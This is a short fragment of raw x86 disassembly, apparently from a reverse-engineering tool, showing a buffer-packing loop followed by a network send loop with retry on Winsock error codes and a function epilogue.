xor esi, eax
shl ecx, 0x18
or ecx, dword [ebp - 0x3ab8]
shl esi, 0x14
or esi, dword [ebp - 0x3aa4]
inc edi
mov byte [edx], bl
mov dword [ebp - 0x3aa8], esi
mov eax, ecx
cmp edi, dword [ebp - 0x3ab4]
jl 0x181f11
mov ecx, dword [ebp - 0x3a90]
mov ebx, dword [ebp - 0x3ab0]
add dword [ebp - 0x3aa0], ecx
add ecx, 0x10
movzx esi, cx
lea edi, [ebp - 0x3a9c]
test si, si
je 0x182007
mov ecx, dword [ebp + 8]
push 0
movzx eax, si
push eax
push edi
push ecx
call dword [0x18c1b8]
test eax, eax
js 0x181fe1
add edi, eax
sub esi, eax
jmp 0x182002
cmp eax, 0xffffffff
jne 0x182002
call dword [0x18c1a4]
cmp eax, 0x2746
je 0x182020
cmp eax, 0x2744
je 0x182020
push 0xa
call dword [0x18c07c]
test si, si
jne 0x181fc6
test ebx, ebx
jne 0x181ec0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00183734
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00183734
mov esp, ebp
pop ebp
ret